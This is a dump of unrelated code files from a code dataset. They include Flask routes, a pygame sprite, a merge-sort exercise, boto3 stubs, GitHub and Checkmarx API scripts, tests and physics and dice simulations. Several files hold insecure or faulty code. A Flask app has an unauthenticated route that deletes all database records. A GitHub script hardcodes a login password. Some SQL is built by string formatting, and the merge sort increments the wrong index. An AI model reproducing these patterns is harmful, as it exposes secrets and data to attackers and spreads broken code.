redirect(\"/index\")\n\n@app.route(\"/secret\")\ndef secret():\n #connect to the database\n collection = mongo.db.events\n #delete everything from the database\n #invoke the delete_many method on the collection\n collection.delete_many({})\n return redirect('/index')\n\n@app.route(\"/test\")\ndef sorted():\n collection = mongo.db.events\n test = list(collection.find({\"event_type\": \"test\"}))\n print (test)\n return render_template('index.html', events = test)\n\n@app.route(\"/project\")\ndef project():\n collection = mongo.db.events\n project = list(collection.find({\"event_type\": \"project\"}))\n print (project)\n return render_template('index.html', events = project)\n\n@app.route(\"/classwork\")\ndef classwork():\n collection = mongo.db.events\n classwork = list(collection.find({\"event_type\": \"classwork\"}))\n print (classwork)\n return render_template('index.html', events = classwork)\n\n@app.route(\"/homework\")\ndef homework():\n collection = mongo.db.events\n homework = list(collection.find({\"event_type\": \"homework\"}))\n print (homework)\n return render_template('index.html', events = homework)\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"520174167","text":"import pygame\r\nclass Bird(pygame.sprite.Sprite):\r\n\r\n\r\n def __init__ (self):\r\n super().__init__()\r\n self.image = pygame.Surface([20,20])\r\n self.image.fill([0,0,0])\r\n self.rect = self.image.get_rect()\r\n self.rect.x = 50\r\n self.rect.y = 350\r\n #self.pos = [50,350]\r\n self.cycle = 0\r\n self.accel = 0\r\n\r\n def up(self):\r\n self.accel = -10\r\n\r\n def update(self):\r\n if self.cycle%2 == 0:\r\n self.rect.y += self.accel\r\n if self.accel <= 5:\r\n self.accel += 1\r\n self.cycle = self.cycle % 2 + 1","sub_path":"Sappy_bird/Bird.py","file_name":"Bird.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"211528655","text":"# 오름차순으로 정렬\n# N개의 정렬 대상을 가진 리스트 L을 분할할 때,\n# L[0:N//2], L[N//2:N] 으로 분할한다.\n\n# 병합과정에서\n# 왼쪽 마지막 원소가 오른쪽 마지막 원소보다 큰 경우의 수를 출력한다.\n\n# 정렬이 끝난 리스트 L에서 L[N//2] 원소를 출력한다.\n\ndef partition(lst):\n if len(lst) <= 1:\n return lst\n mid = len(lst)//2\n left_lst = partition(lst[:mid])\n right_lst = partition(lst[mid:])\n return merge(left_lst, right_lst)\n\ndef merge(left_lst, right_lst):\n global count\n left_N = len(left_lst)\n right_N = len(right_lst)\n result = [0]*(left_N + right_N)\n left_i, right_i = 0, 0\n i = 0\n\n if left_lst[-1] > right_lst[-1]:\n count += 1\n\n while left_i < left_N or right_i < right_N:\n if left_i < left_N and right_i < right_N:\n if left_lst[left_i] <= right_lst[right_i]:\n result[i] = left_lst[left_i]\n i += 1\n left_i += 1\n else:\n result[i] = right_lst[right_i]\n i += 1\n right_i += 1\n elif left_i < left_N:\n result[i] = left_lst[left_i]\n i += 1\n left_i += 1\n elif right_i < right_N:\n result[i] = right_lst[right_i]\n i += 1\n left_i += 1\n elif right_i < right_N:\n result[i] = right_lst[right_i]\n i+= 1\n right_i += 1\n return result\n\nT = int(input())\nfor test_case in range(1, T+1):\n count = 0\n N = int(input())\n lst = list(map(int, input().split()))\n data = partition(lst)\n\n print(\"#{} {}\".format(test_case, count))","sub_path":"SWEA/advanced/분할정복/병합정렬.py","file_name":"병합정렬.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"91178454","text":"\"\"\"\nType annotations for pinpoint-email service literal definitions.\n\n[Open documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_pinpoint_email/literals.html)\n\nUsage::\n\n ```python\n from mypy_boto3_pinpoint_email.literals import BehaviorOnMxFailureType\n\n data: BehaviorOnMxFailureType = \"REJECT_MESSAGE\"\n ```\n\"\"\"\nimport sys\n\nif sys.version_info >= (3, 8):\n from typing import Literal\nelse:\n from typing_extensions import Literal\n\n__all__ = (\n \"BehaviorOnMxFailureType\",\n \"DeliverabilityDashboardAccountStatusType\",\n \"DeliverabilityTestStatusType\",\n \"DimensionValueSourceType\",\n \"DkimStatusType\",\n \"EventTypeType\",\n \"GetDedicatedIpsPaginatorName\",\n \"IdentityTypeType\",\n \"ListConfigurationSetsPaginatorName\",\n \"ListDedicatedIpPoolsPaginatorName\",\n \"ListDeliverabilityTestReportsPaginatorName\",\n \"ListEmailIdentitiesPaginatorName\",\n \"MailFromDomainStatusType\",\n \"TlsPolicyType\",\n \"WarmupStatusType\",\n)\n\nBehaviorOnMxFailureType = Literal[\"REJECT_MESSAGE\", \"USE_DEFAULT_VALUE\"]\nDeliverabilityDashboardAccountStatusType = Literal[\"ACTIVE\", \"DISABLED\", \"PENDING_EXPIRATION\"]\nDeliverabilityTestStatusType = Literal[\"COMPLETED\", \"IN_PROGRESS\"]\nDimensionValueSourceType = Literal[\"EMAIL_HEADER\", \"LINK_TAG\", \"MESSAGE_TAG\"]\nDkimStatusType = Literal[\"FAILED\", \"NOT_STARTED\", \"PENDING\", \"SUCCESS\", \"TEMPORARY_FAILURE\"]\nEventTypeType = Literal[\n \"BOUNCE\", \"CLICK\", \"COMPLAINT\", \"DELIVERY\", \"OPEN\", \"REJECT\", \"RENDERING_FAILURE\", \"SEND\"\n]\nGetDedicatedIpsPaginatorName = Literal[\"get_dedicated_ips\"]\nIdentityTypeType = Literal[\"DOMAIN\", \"EMAIL_ADDRESS\", \"MANAGED_DOMAIN\"]\nListConfigurationSetsPaginatorName = Literal[\"list_configuration_sets\"]\nListDedicatedIpPoolsPaginatorName = Literal[\"list_dedicated_ip_pools\"]\nListDeliverabilityTestReportsPaginatorName = Literal[\"list_deliverability_test_reports\"]\nListEmailIdentitiesPaginatorName = Literal[\"list_email_identities\"]\nMailFromDomainStatusType = Literal[\"FAILED\", \"PENDING\", \"SUCCESS\", \"TEMPORARY_FAILURE\"]\nTlsPolicyType = Literal[\"OPTIONAL\", \"REQUIRE\"]\nWarmupStatusType = Literal[\"DONE\", \"IN_PROGRESS\"]\n","sub_path":"typings/mypy_boto3/pinpoint_email/literals.pyi","file_name":"literals.pyi","file_ext":"pyi","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"236236271","text":"from github import Github\nfrom constants import *\n\ng = Github(\"gautam0707\",\"0801nineTeeN1\")\n\n\ndef py_github_api_get_followers_count(profile_id, depth=3):\n if depth == 0:\n return g.get_user(profile_id).followers * followers_weighing_factors[0]\n\n q = list()\n q.append((profile_id, 0))\n followers_count = 0\n curr_depth = 0\n while q and depth > curr_depth:\n curr = q[0][0]\n curr_depth = q[0][1]\n del q[0]\n followers_count += g.get_user(curr).followers * followers_weighing_factors[curr_depth]\n for follower in g.get_user(curr).get_followers():\n q.append((follower.login, curr_depth+1))\n return followers_count\n\n\ndef py_github_api_get_points(profile_id):\n total_count = 0\n for repo in g.get_user(profile_id).get_repos():\n repo = g.get_user(profile_id).get_repo(repo.name)\n total_count += repo.forks_count\n total_count += repo.stargazers_count\n total_count += repo.subscribers_count\n return total_count\n","sub_path":"gitHubRanking/pyGithubApi.py","file_name":"pyGithubApi.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"90451031","text":"# -*- coding: utf-8 -*-\n# List 6-7 母分散の比の検定(母分散の等質性の検定)~f検定\nimport math\nimport numpy as np\nfrom scipy.stats import f\nm = 10\nn = 10\nxmean = 76.3\nymean = 70.5\nxvar = 160.1\nyvar = 59.6\nF = xvar/yvar\nf_lower = f.ppf(0.025, m-1, n-1)\nf_upper = f.ppf(0.975, m-1, n-1)\nprint('F=', round(F, 4), 'reject=', (F self.last_line:\n self.results.append(self.src_lines[self.last_line] + \"\\n\")\n self.last_line += 1\n\n\ndef fstringify_code_by_line(code: str, multiline=True, len_limit=88) -> Tuple[str, int]:\n \"\"\" returns fstringified version of the code and amount of lines edited.\"\"\"\n return _transform_code(\n code, split.get_fstringify_chunks, transform_chunk, multiline, len_limit\n )\n\n\ndef fstringify_concats(code: str, multiline=True, len_limit=88) -> Tuple[str, int]:\n \"\"\" replace string literal concatenations with f-string expressions. \"\"\"\n return _transform_code(\n code, concat_candidates, transform_concat, multiline, len_limit\n )\n\n\ndef _transform_code(\n code: str, candidates_iter_factory, transform_func, multiline, len_limit\n) -> Tuple[str, int]:\n \"\"\" returns fstringified version of the code and amount of lines edited.\"\"\"\n\n len_limit = _multiline_settings(len_limit, multiline)\n jt = JoinTransformer(code, len_limit, candidates_iter_factory, transform_func)\n return jt.fstringify_code_by_line()\n\n\ndef _multiline_settings(len_limit, multiline):\n if not multiline:\n len_limit = 0\n lexer.set_single_line()\n else:\n lexer.set_multiline()\n return len_limit\n","sub_path":"src/flynt/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":6563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"455640678","text":"import RestAPI\nimport time\nimport os\n\ncx = RestAPI.CxRestAPI()\n\n\ndef choose_a_project():\n num = 0\n project_list = cx.get_all_project_details()\n for project in project_list:\n print(\"\\t[{}] \".format(num), project.get(\"name\"))\n num += 1\n num = int(input(\"- Choose a project:\"))\n return project_list[num].get(\"id\"), project_list[num].get(\"name\")\n\n\ndef main():\n global project_name, team_id\n print(\"* Welcome to use this scripts! *\")\n flag = input(\"- Do you want to create a new project?(Y/N)\")\n if flag.upper() == \"Y\":\n teams = cx.get_all_teams().json()\n num = 0\n for team in teams:\n print(\"\\t[{}] \".format(num), team.get(\"fullName\"))\n num += 1\n num = int(input(\"- Choose a team to create project:\"))\n team_id = teams[num].get(\"id\")\n project_name = input(\"- Set your project name:\")\n project_id = cx.create_project_with_default_configuration(name=project_name, owning_team=team_id).json().get(\"id\")\n else:\n project_id, project_name = choose_a_project()\n zip_path = input(\"- Set the zip file path:\")\n report_types = [\"PDF\", \"RTF\", \"CSV\", \"XML\"]\n report_code = 0\n for type in report_types:\n print(\"\\t[{}]\".format(report_code), type)\n report_code += 1\n report_code = int(input(\"- Choose a report type:\"))\n cx.upload_source_code_zip_file(project_id=project_id, zip_path=zip_path)\n print(\"* Creating a new scan...\")\n scan = cx.create_new_scan(project_id)\n scan_id = scan.json().get(\"id\")\n while True:\n scan_status = cx.get_sast_scan_details_by_scan_id(id=scan_id).json().get(\"status\").get(\"name\")\n print(\"\\tScan status:[\", scan_status, \"]\", end=\" \")\n if scan_status == \"Finished\":\n print()\n break\n print(\"Re-Check after 10s ...\")\n time.sleep(10)\n print(\"* Creating report...\")\n report_type = report_types[report_code].lower()\n report = cx.register_scan_report(report_type=report_type, scan_id=scan_id)\n report_id = report.json().get(\"reportId\")\n while True:\n report_status = cx.get_report_status_by_id(report_id).json().get(\"status\").get(\"value\")\n print(\"\\tReport status:[\", report_status, \"]\", end=\" \")\n if report_status == \"Created\":\n print()\n break\n print(\"Re-Check after 5s ...\")\n time.sleep(5)\n report_name = project_name + \".\" + report_type\n reports = cx.get_reports_by_id(report_id, report_type).content\n with open(os.path.expanduser(report_name), 'wb') as f:\n f.write(reports)\n print(\"* Successful! Thanks for use. *\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Create_a_scan_and_get_report.py","file_name":"Create_a_scan_and_get_report.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"42184358","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pytest\n\nfrom combustion.nn import DownSample3d\n\n\npytest.skip(allow_module_level=True)\n\n\n@pytest.fixture\ndef input(torch):\n return torch.ones(1, 6, 8, 8, 8)\n\n\n@pytest.fixture(\n params=[\n pytest.param(True, id=\"factorized\"),\n pytest.param(False, id=\"nonfactorized\"),\n ]\n)\ndef factorized(request):\n return request.param\n\n\ndef test_output_shape(torch, input, factorized):\n expected_shape = (1, 3, 4, 4, 4)\n layer = DownSample3d(6, 3, 3, factorized=factorized, stride=2, padding=1)\n output, _ = layer(input)\n assert output.shape == expected_shape\n\n\ndef test_returns_pre_final_output(torch, input, factorized):\n layer = DownSample3d(6, 3, 3, factorized=factorized, stride=2, padding=1)\n _, main = layer(input)\n assert main.shape == input.shape\n assert not (main is input)\n\n\ndef test_stride(torch, input, factorized):\n expected_shape = (1, 3, 8, 8, 8)\n layer = DownSample3d(6, 3, 3, factorized=factorized, stride=1, padding=1)\n output, _ = layer(input)\n assert output.shape == expected_shape\n\n\ndef test_pad(torch, input, factorized):\n expected_shape = (1, 3, 6, 6, 6)\n layer = DownSample3d(6, 3, 3, factorized=factorized, stride=1, padding=0)\n output, _ = layer(input)\n assert output.shape == expected_shape\n\n\ndef test_repeats(torch, input, factorized):\n expected_shape = (1, 3, 4, 4, 4)\n layer1 = DownSample3d(6, 3, 3, factorized=factorized, stride=2, padding=1, repeats=1)\n layer2 = DownSample3d(6, 3, 3, factorized=factorized, stride=2, padding=1, repeats=2)\n output, _ = layer2(input)\n assert len(list(layer2.parameters())) > len(list(layer1.parameters()))\n assert output.shape == expected_shape\n\n\n@pytest.mark.parametrize(\n \"bn_spatial\",\n [\n pytest.param(None, id=\"bn_spatial=None\"),\n pytest.param(2, id=\"bn_spatial=2\"),\n pytest.param(4, id=\"bn_spatial=4\"),\n ],\n)\n@pytest.mark.parametrize(\n \"bn_depth\",\n [\n pytest.param(None, id=\"bn_depth=None\"),\n pytest.param(2, id=\"bn_depth=2\"),\n pytest.param(4, id=\"bn_depth=4\"),\n ],\n)\ndef test_bottleneck(torch, input, factorized, bn_depth, bn_spatial):\n expected_shape = (1, 3, 4, 4, 4)\n layer = DownSample3d(\n 6,\n 3,\n 3,\n factorized=factorized,\n stride=2,\n padding=1,\n repeats=1,\n bn_spatial=bn_spatial,\n bn_depth=bn_depth,\n )\n output, _ = layer(input)\n assert output.shape == expected_shape\n","sub_path":"tests/test_combustion/test_nn/test_module/test_downsample.py","file_name":"test_downsample.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"391525940","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/bkvaluemeal/Documents/libenable/libenable/blueprints/activity.py\n# Compiled at: 2017-01-01 18:29:40\n# Size of source mod 2**32: 1352 bytes\n\"\"\"\nActivity\n\nThis module defines the Flask blueprint for the application's activity log. See\nthe documentation for each object and their respective unit tests for more\ninformation.\n\"\"\"\nfrom flask import Blueprint, render_template\nimport libenable, sqlite3\nblueprint = Blueprint('activity', __name__, template_folder='../templates')\n\n@blueprint.route('/')\ndef show():\n \"\"\"\n The activity log\n \"\"\"\n with sqlite3.connect(libenable.__db__) as (database):\n c = database.cursor()\n c.execute('SELECT count() FROM activity_log')\n count = c.fetchone()[0]\n c.execute('SELECT rowid, * FROM activity_log ORDER BY rowid DESC LIMIT 50')\n return render_template('activity.html', log=c, count=int(count / 50) + (count % 50 > 0) + 1, page=1)\n\n\n@blueprint.route('/page')\n@blueprint.route('/page/')\ndef page(page=1):\n \"\"\"\n The activity log at page X\n \"\"\"\n with sqlite3.connect(libenable.__db__) as (database):\n c = database.cursor()\n c.execute('SELECT count() FROM activity_log')\n count = c.fetchone()[0]\n c.execute('SELECT rowid, * FROM activity_log WHERE rowid <= %d ORDER BY rowid DESC LIMIT 50' % (count - (page - 1) * 50))\n return render_template('activity.html', log=c, count=int(count / 50) + (count % 50 > 0) + 1, page=page)","sub_path":"pycfiles/libenable.so-0.3.0.tar/activity.cpython-35.py","file_name":"activity.cpython-35.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"624470289","text":"\"\"\" InstructorsA5Q1\n\nCOMP 1012 SECTION A01/A02/A03\nINSTRUCTOR Andres/Boyer/Janjic\nASSIGNMENT: A5 Question 1\nAUTHOR The Instructors\nVERSION 2016-Mar-12\n\nPURPOSE: To investigate properties of a chain suspended at two ends.\n\"\"\"\n# imports\nimport numpy as np\n#import sys\nimport time\nimport math\nimport matplotlib.pyplot as plt\n\n# constants\nDEGREE = \"\\N{DEGREE SIGN}\" # degree symbol\nEPS1 = 1.e-3 # small number for acceptable relative error\n # in solveForParameter\nLETTER_A = \"\\N{APL FUNCTIONAL SYMBOL ALPHA}\" # italic small a\n#LETTER_A = \"\\N{MATHEMATICAL ITALIC SMALL A}\"\nDEG_PER_RAD = 180. / np.pi # [deg/rad] 180 degrees = pi radians\nUNITS_DICT = {'aa':'m', 'dd':'m', 'hh':'m'}\nhh = 1.10 # [m] height of supports on both posts\ndd = 0.98 # [m] distance of both supports from the origin\ngg = 9.806 # [m/s^2] gravitational acceleration at sea level at latitude 45 deg\n # from http://en.wikipedia.org/wiki/Gravitational_acceleration\nrho = 2.0 # [kg/m] chain linear density\nNUM_POINTS = 50001 # [] number of points to divide up the chain\ncurrentFigure = 1 # figure number\nCUT_NUMBER = 20\n\n#..........................................................................main\ndef main() :\n \"\"\"main function that drives the program operations\"\"\"\n print(\"PROPERTIES OF A CHAIN SUSPENDED AT TWO ENDS\") \n printConstants()\n \n # set up chain model data\n chainDict = {\"hh\":hh, \"dd\":dd, \"aa\":1.000, \"numberOfPoints\":NUM_POINTS} #\n # dictionary for chain model, with std values for 4 parameters\n parms = list(chainDict) # list of paramenter names, unknown order\n chainDict['parms'] = parms # store list of parameter names\n\n choices = [\"Vary a parameter\", \"Solve for a parameter value\", \"Quit\"] #\n # operations this code can perform\n userChoice = menu(\"Pick an operation. \", choices) # user-selected choice\n while userChoice != len(choices) : # last choice is to quit\n if userChoice == 1 :\n manyChains = varyParameter(chainModel, chainDict) # list of dicts\n elif userChoice == 2 :\n manyChains = solveForParameter(chainModel, chainDict) # [dicts]\n else :\n assert False, \"Impossible choice\" # failure of menu\n userChoice = menu(\"Pick an operation. \", choices) # next op\n \n showTermination()\n return\n \n#.................................................................. chainLength\ndef chainLength(xs, ys) :\n \"\"\"Given a list of (x,y) points, return the length of the lines\n joining consecutive points from beginning to end.\"\"\"\n return np.sum(np.sqrt((xs[1:]-xs[:-1])**2 + (ys[1:]-ys[:-1])**2 ))\n\n\n#................................................................... chainModel\ndef chainModel(chainDict) :\n \"\"\"Simulate the dimensions of a hanging chain, given parameter values\n in chainDict. Store outputs back in chaingDict, including a list of the\n output variable names, and also store xs (x values) and ys (y values) \n from chainPoints.\"\"\"\n hh = chainDict['hh'] # [m] height of supports on both posts\n dd = chainDict['dd'] # [m] distance of both supports from the origin\n aa = chainDict['aa'] # [m] shape parameter for hanging chain\n numberOfPoints = chainDict['numberOfPoints'] # [] number of points \n # to divide up the chain\n # hh, dd, aa, numberOfPoints = parameters\n xs, ys = chainPoints(hh, dd, aa, numberOfPoints) # [m] x and y values\n chainDict['xs'] = xs\n chainDict['ys'] = ys\n chainDict['length'] = length = chainLength(xs,ys) # [m] chain length\n angle = np.arctan2(xs[-1] - xs[-2], ys[-1] - ys[-2]) # [rad] angle with \n chainDict['angle'] = angle # right post\n chainDict['Fvert'] = Fvert = rho * length * gg * 0.5 # [N] vertical force\n # on one post\n chainDict['Fnet'] = Fvert / np.cos(angle) # [N] net force on post\n chainDict['minHeight'] = np.min(ys) # [m] height of bottom\n outputs = ['length', 'angle', 'Fvert', 'Fnet', 'minHeight'] # list of \n # output names\n chainDict['outputs'] = outputs\n UNITS_DICT['xs'] = UNITS_DICT['ys'] = 'm'\n UNITS_DICT['length'] = UNITS_DICT['minHeight'] = 'm'\n UNITS_DICT['angle'] = 'rad'\n UNITS_DICT['Fvert'] = UNITS_DICT['Fnet'] = 'N'\n return # no need to return values; they are in the dictionary passed down\n\n#.................................................................. chainPoints\ndef chainPoints(hh, dd, aa, numberOfPoints) :\n \"\"\"Generate numberOfPoints points (x,y) along a hanging chain from -dd \n to dd, given parameter aa. Return lists of x values and y values, each of \n length numberOfPoints.\"\"\"\n xs = np.linspace(-dd,dd,numberOfPoints) # [m] x location of points\n ys = aa * np.cosh(xs/aa) + (hh - aa * np.cosh(dd / aa)) # [m] y locations\n return xs, ys\n\n#..................................................................... getFloat\ndef getFloat(what) :\n \"\"\"Input a value x for what. If the input isn't a valid float, display \n a warning message and ask again. \n \"\"\"\n prompt = (\"Enter a value for %s: \" % (what)) # string to show user\n warning = '\\b' # what, if anything, is wrong with previous input\n while warning : # drop out if empty\n userIn = input(warning + prompt) # user's response\n warning = ''\n try : \n val = float( userIn) # float value of user's response\n except ValueError :\n warning = \"*** %s is not a float\\n\" % userIn\n return val\n\n#......................................................................... menu\ndef menu(preamble, choices) :\n \"\"\"Present the user with a menu of choices. Return a valid choice.\n The preamble string tells the user what to answer. The choices explain\n what each response means.\"\"\"\n prompt = preamble + \"Choose one of the following and enter its number:\\n\" #\n # string to show user\n for num, choice in enumerate(choices) :\n prompt += \"%2d: %s\\n\" % (num + 1, choice)\n prompt += '\\n'\n\n warning = \"\\b\" # what, if anything, is wrong with previous input\n while warning :\n userIn = input(warning + prompt) # user's response\n warning = ''\n try :\n userNum = int(userIn) # int value of user's response\n except ValueError :\n userNum = 0\n if not 0 < userNum <= len(choices) :\n warning = \"Invalid response '%s'; try again\\n\\n\" % userIn\n print(choices[userNum-1])\n return userNum\n\n#............................................................... printConstants\ndef printConstants() :\n \"\"\"print global constant values\"\"\"\n print()\n print(\"CONSTANTS\")\n print(\" Supports are at +/- %5.3f [m] from centre of chain\" % dd)\n print(\" Supports are %5.3f [m] high\" % hh)\n print(\" Gravitational acceleration: %5.3f [m/s^2]\" % gg)\n print(\" Chain linear density %5.3f [kg/m]\" % rho)\n \n return\n\n#................................................................... showChains\ndef showChains(chainList, title, parm, output) :\n \"\"\"Display a table of chain properties from dictionaires in chainList.\n Show the given title. \"\"\"\n global currentFigure\n print(\"\\n%s\\n\" % title)\n print(\" Number %s Chain Min Angle with Net \"\n % LETTER_A)\n print(\"of Points [m] length [m] Height [m] support [%s] Force [N]\"\n % DEGREE)\n num = 1\n for chainDict in chainList :\n print(\" %7d %7.4f %8.4f %11.4f %12.4f %11.4f\"\n % (chainDict['numberOfPoints'], chainDict['aa'], \n chainDict['length'], chainDict['minHeight'], \n chainDict['angle'] * DEG_PER_RAD, chainDict['Fnet']))\n num += 1\n if num >= CUT_NUMBER:\n print(\" ...\")\n break\n if len(chainList) < CUT_NUMBER:\n chainImage(chainList, title, parm, output)\n else:\n chainHist(chainList, title, parm, output)\n\n return \n \n#...............................................................showTermination\ndef showTermination() :\n \"\"\"print(the date and the programmer.\"\"\"\n print(\"\\nProgrammed by the Instructors\")\n print(\"Date: \" + time.ctime())\n print(\"End of processing\")\n\n#..................................................................... simulate\ndef simulate(model, modelDict, parm, parmVal) :\n \"\"\"Make a copy of the model dictionary with parameter parm equal to \n parmVal. Run the model. Return the resulting dictionary containing\n results of the model run.\"\"\"\n\n newDict = dict(modelDict) # new copy of original dictionary\n newDict[parm] = parmVal # modify the indicated parameter\n model(newDict) # run model, which will update dictionary with\n # more model variables\n \n return newDict\n\n#............................................................ solveForParameter\ndef solveForParameter(model, modelDict) :\n \"\"\"Obtain from the user the name of a parameter parm to vary, and a range\n to vary it in, and also an output and a target value for the outpuot.\n Then run model using parameters from modelDict varying parameter parm \n using bisection between low and high values to find a value for the \n parameter that causes output to have the value target. Use a copy of \n modelDict each time, and return a list of the modelDict versions.\"\"\"\n parms = modelDict['parms'] # list of parameter names\n parmChoice = menu(\"Pick a parameter to vary. \", parms) # chosen # of name\n parm = parms[parmChoice - 1] # chosen parameter name \n low = getFloat(\"lowest value of \" + parm) # low bound on parameter value\n high = getFloat(\"highest value of \" + parm) # high bound on parameter value\n\n dictList = [] # list of dictionaries for model runs\n # first check that low and high span the required value\n dictList.append( simulate(model, modelDict, parm, low) )\n dictList.append( simulate(model, modelDict, parm, high) )\n \n # identify possible outputs\n outputs = dictList[0]['outputs'] # output variables to choose from\n outputChoice = menu(\"Pick an output to target. \", outputs) # number + 1\n output = outputs[outputChoice - 1] # output variable to target \n target = getFloat(\"target value of \" + output) # value we want to achieve\n\n # record values seen so far\n origLowVal = dictList[0][output] # value of output for low parameter value\n origHighVal = dictList[1][output] # value of output for high parm value\n outputList = sorted( [target, origLowVal, origHighVal] ) # sorted list\n # to avoid infinite loop:\n assert outputList[1] == target,( \n \"Low %g and high %g do not span required value for parameter %s\"\n % (low, high, parm))\n for count in range(16) : # use 16 to converge to cut interval in 65000\n middle = 0.5 * (low + high) # midpoint of interval\n #print(\"middle: %g\" % middle)\n dictList.append( simulate(model, modelDict, parm, middle) )\n midVal = dictList[-1][output] # output value at middle\n if (abs(midVal - target) \n <= EPS1 * max(abs(midVal), abs(target))) : # <= to work with 0\n break # we have found a winner\n # otherwise ...\n if abs(origLowVal - midVal) < abs(origLowVal - target) :\n low = middle # new value between low value and target\n else :\n high = middle # new value between high value and target\n else : # yes a for loop can have an else too!\n print(\"Convergence stopped on count\") # don't go on too long\n\n showChains(dictList, \"Seeking %g for %s \" %(target, output), parm, output) # show\n # results \n return dictList\n\n#................................................................ varyParameter\ndef varyParameter(model, modelDict) :\n \"\"\"Run model with parameters in modelDict varying parameter parm starting\n at low and going up to high, multiplying by factor each time. Use a copy\n of modelDict each time, and return a list of the modelDict versions.\"\"\"\n parms = modelDict['parms'] # list of parameter names\n parmChoice = menu(\"Pick a parameter to vary. \", parms) # chosen # of name\n parm = parms[parmChoice - 1] # chosen parameter name \n low = getFloat(\"lowest value of \" + parm) # low bound on parameter value\n high = getFloat(\"highest value of \" + parm) # high bound on parameter value\n factor = getFloat(\"factor between successive values\") # factor between\n # successive parameter values\n\n parmValue = low # current parameter value; start with low\n dictList = [] # new list of simulation dictionaries\n while parmValue < high :\n dictList.append( simulate(model, modelDict, parm, parmValue) )\n parmValue *= factor\n\n outputs = dictList[0]['outputs'] # output variables to choose from\n outputChoice = menu(\"Pick an output to target. \", outputs) # number + 1\n output = outputs[outputChoice - 1] # output variable to target\n\n showChains(dictList, \"Effects of Varying %s on %s\" % (parm, output), parm, output) # show results\n\n return dictList\n\n#...................................................................main script\n\ndef chainHist(chainList, title, parm, output) :\n outputList = [chainDist[output] for chainDist in chainList]\n binWidth = math.pow(len(outputList) * 3, 1/3)\n plt.hist(outputList, bins=np.arange(min(outputList), max(outputList) + binWidth, binWidth), normed=True)\n plt.title(title)\n plt.xlabel(\"Value of \" + output + \" [\" + UNITS_DICT[output] + \"]\")\n plt.ylabel(\"Fraction of Simulation Values []\")\n plt.show()\n return\n\n\ndef chainImage(chainList, title, parm, output):\n for chainDist in chainList:\n plt.plot(chainDist['xs'], chainDist['ys'],\n label=parm + \" = %.2f, \" % (chainDist[parm]) + \" [\" + UNITS_DICT[parm] + \"] \" + output + \" = %.2f\" % (\n chainDist[output]) + \" [\" + UNITS_DICT[output] + \"] \",\n linewidth=0.5)\n plt.xlabel(\"Horizontal position [\" + UNITS_DICT['xs'] + \"]\")\n plt.ylabel(\"Vertical position [\" + UNITS_DICT['ys'] + \"]\")\n plt.legend(loc='lower left', prop={'size': 6})\n plt.title(title)\n plt.show()\n return\n\nmain()","sub_path":"src/Instructors2016A_A5Q1V1.py","file_name":"Instructors2016A_A5Q1V1.py","file_ext":"py","file_size_in_byte":14532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"209687056","text":"import numpy as np\nimport data_provider as dap\n\n\ndef feature_normalisation(in_file_list, out_file_list, mean_vector, std_vector, feature_dimension):\n assert mean_vector.size == feature_dimension and std_vector.size == feature_dimension\n for j in range(len(in_file_list)):\n org_feature, curr_frame_number = dap.load_binary_file_frame(in_file_list[j], feature_dimension)\n mean_matrix = np.tile(mean_vector, (curr_frame_number, 1))\n std_matrix = np.tile(std_vector, (curr_frame_number, 1))\n norm_feature = org_feature * std_matrix + mean_matrix\n dap.array_to_binary_file(norm_feature, out_file_list[j])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"tts_experiment/util/data_normalization.py","file_name":"data_normalization.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"613545886","text":"# 주사위 굴리기\n\ndx = [0, 0, -1, 1] # 동 서 북 남\ndy = [1, -1, 0, 0]\n\nn, m, x, y, l = map(int, input().split())\na = [list(map(int,input().split())) for _ in range(n)]\ndice = [0]*7\nmove = list(map(int, input().split())) # 동1 서2 북3 남4\n\nfor k in move:\n k -= 1\n nx, ny = x+dx[k], y+dy[k]\n if nx < 0 or nx >= n or ny < 0 or ny >= m:\n continue\n\n if k == 0: # 동\n temp = dice[1]\n dice[1] = dice[4]\n dice[4] = dice[6]\n dice[6] = dice[3]\n dice[3] = temp\n elif k == 1: # 서\n temp = dice[1]\n dice[1] = dice[3]\n dice[3] = dice[6]\n dice[6] = dice[4]\n dice[4] = temp\n elif k == 2: # 북\n temp = dice[1]\n dice[1] = dice[5]\n dice[5] = dice[6]\n dice[6] = dice[2]\n dice[2] = temp\n else: # 남\n temp = dice[1]\n dice[1] = dice[2]\n dice[2] = dice[6]\n dice[6] = dice[5]\n dice[5] = temp\n\n x, y = nx, ny\n\n if a[x][y] == 0:\n a[x][y] = dice[6]\n else:\n dice[6] = a[x][y]\n a[x][y] = 0\n\n 